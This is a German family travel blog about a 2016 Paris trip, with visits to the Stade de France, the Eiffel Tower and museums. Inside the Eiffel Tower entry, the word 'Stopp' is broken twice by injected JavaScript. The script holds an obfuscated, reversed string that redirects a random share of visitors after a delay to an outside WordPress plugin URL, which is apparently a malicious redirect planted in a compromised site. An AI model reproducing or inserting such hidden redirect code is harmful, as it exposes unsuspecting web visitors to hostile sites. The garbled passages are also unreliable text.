Stade de France – 11.08.2016

Wie schnell die Zeit vergeht. Heute ist schon der vorletzte Tag, an dem wir was in Paris unternehmen können. Diesmal ging es auf Wunsch von Tim in das Stadion, in dem das EM Finale dieses Jahr statt gefunden hat. Da wir die Führung in Englisch manchen wollten (Deutsch stand leider nicht zur Wahl), mussten wir um 13.30 Uhr am Stadion sein. Die Karten habe ich dafür schon vorab gebucht, um später nicht vor verschlossener Tür zu stehen. Um die Zeit zu überbrücken sind wir noch einmal zur Sacre Coeur gelaufen. Sie lag auf dem Weg zur Metrostation, von der wir Richtung Stadion gestartet sind.

Die Tour an sich hat etwa 90 Minuten gedauert und hat uns von den Zuschauerrängen über die VIP-Logen bis hin zur stadioneigenen Polizeistation geführt. Natürlich haben wir auch die Mannschaftskabinen und die Räume, in dem die Pressekonferenzen und die Befragung der Mannschaftskapitäne statt gefunden haben, besucht. Das Highlight aber war der Einlauf in das Stadion selber. Wie die Fußballprofis durften wir aus dem Tunnel auf das Spielfeld einlaufen und den (wenigen) Zuschauern winken. Schon ziemlich beeindruckend, wie groß so eine Kulisse wirkt. Wenn jetzt noch 90.000 Zuschauer darin sind und jubeln, dann ist die Gänsehaut sicher. Im Anschluss sind wir noch in den Souvenirladen und haben uns ein paar Erinnerungen gekauft.

Insbesondere Tim war die ganze Zeit ziemlich aufgeregt und hat sich riesig über den Besuch gefreut. Lea war auch, wie immer auf ihre eigene Art und Weise, von dem Besuch begeistert („Frau“ muss cool bleiben)! Also wieder ein rundum gelungener Tag.

Die anfängliche Skepsis ist jedenfalls komplett verflogen. Beide wollen am Samstag noch nicht nach Hause fahren. Ein paar schöne Eindrücke haben wir auch noch mit gebracht.

Eiffelturm – 10.08.2016

Heute war es endlich so weit. Das Highlight des Paris Trips stand an. Der Eiffelturm. Tim hat sich so sehr gewünscht, den Turm zu sehen. Endlich können wir hoch und die Aussicht genießen. Leider war die Schlange an den Sicherheitskontrollen so lang, dass Lea und Tim skeptisch waren und sich lieber doch nicht anstellen wollten. Mit ein wenig Überzeugungsarbeit haben wir uns hinten eingereiht. Bis wir durch die Sicherheitsschleusen gehen konnten sind ca. 30 Minuten verstrichen. Jetzt noch fix ein Ticket kaufen und los gehts. Wir haben uns entschieden, den Turm zu Fuß zu besteigen. Anfangs hatte ich Bedenken, dass die quengeln. Der Aufstieg ging dann ab so schnell und die Aussicht war so wunderbar, dass kein Nörgeln zu hören war. Lea und Tim waren von der Aussicht begeistert und jetzt war es wirklich von Vorteil, dass wir den Turm erst heute besucht haben. Wir konnten dann nämlich die Orte, die wir an den Tagen zuvor besucht haben sofort wieder erkennen.

Witzig war, dass auf der ersten Ebene Teile des Bodens aus Glas waren, so dass man bis ganz nach unten durch schauen konnte. Zuerst haben sich die Beiden nicht so recht aufs Glas getraut, hinterher war es aber überhaupt kein Problem mehr. Die zweite Ebene wurde dann nach einer kurzen Pause bestiegen. Die Aussicht war wunderschön (O-Ton Tim). Eigentlich hatten wir geplant, bis auf die Spitze zu fahren. Aber die Schlange am Schalter auf der zweiten Ebene war so lang, dass wir sicherlich nochmal 45 Minuten hätten warten müssen. Daher sind wir nach ca. einer Stunde wieder herunter gegangen.

Im Park vor dem Eiffelturm haben wir dann einen kleinen Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topp gemacht. Lea und Tim mussten sich erst auf einer Parkbank ausruhen und sind dann von und über einen dicken Steinbrocken gesprungen. Nach der Pause ging es dann zu unserem letzten Ziel für heute: die Freiheitsstatue.

Ja, auch in Paris gibt es eine. Es ist die kleine Schwester der Statue, die in New York steht. Bis zur Statue waren es dann auch nochmal 1,5 km, so dass wir unser Pensum von etwa 7 km laufen erreicht hatten. Nach einem kurzen Zwischenstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topp bei Starbucks ging es dann wieder Richtung Hotel. Tim musste so dringend auf die Toilette, dass er schon richtig wibbelig wurde und fast in die Hose gemacht hat. Den Tag haben wir dann bei Salat und Pizza und einem Film ausklingen lassen. Hier sind noch ein paar Eindrücke, die wir vom heutigen Tag mitgenommen haben.

Louvre – 09.08.2016

Heute sind wir mal mit der Metro in die Stadt hinein gefahren. Direkt bis vor den Eingang des Louvre, das meistbesuchte und drittgrößte Museum der Welt. Da Lea und Tim sich gestern schon ein anderes Museum (eins mit Dinosauriern) ausgesucht haben, sind wir nicht in das Louvre gegangen, sondern haben uns damit begnügt, den eindrucksvollen Innenhof zu besuchen. Im angrenzenden Park haben wir einen Spaziergang gemacht und sind dann weiter in Richtung Arc de Triumph gegangen. Auf dem Weg haben wir dann auch den ägyptischen Obelisken von Luxor gesehen. Der Obelisk ist im 13. Jahrhundert vor Christi von Ramses II. in Theben errichtet worden und war ein Geschenk vom ägyptischen Vizekönig an den König von Frankreich, Louis Phillipe (geklaut von Wikipedia).

Im Anschluss haben wir uns eine ganze Weile im Museum aufgehalten. Die Dinosaurier haben wir uns für den Schluss des Rundgangs aufgespart. Das Museum ist so aufgebaut, dass ganz viel experimentiert werden darf. Für die beiden genau das Richtige. Sie sind durch das Museum gelaufen und wussten gar nicht, wo sie zuerst hingehen sollten. Ob jetzt nun zu den Ameisenkolonien und beobachten, wie sich die Arbeiterinnen Blätter von einer Pflanze schneiden? Oder doch lieber in das Labor für optische Effekte. Alles war wirklich interessant aufbereitet. Die Dinos waren dann lebengroße Modelle, die jeweils in einer Szene aufgebaut wurden und sich auch bewegten!

Zum Schluss sind wir noch im Vorhof des Grand Palais, dem Militärmuseum, gewesen. Im Anschluss ging es zurück zum Hotel, wo wir dann in der Nähe gegessen haben. Döner!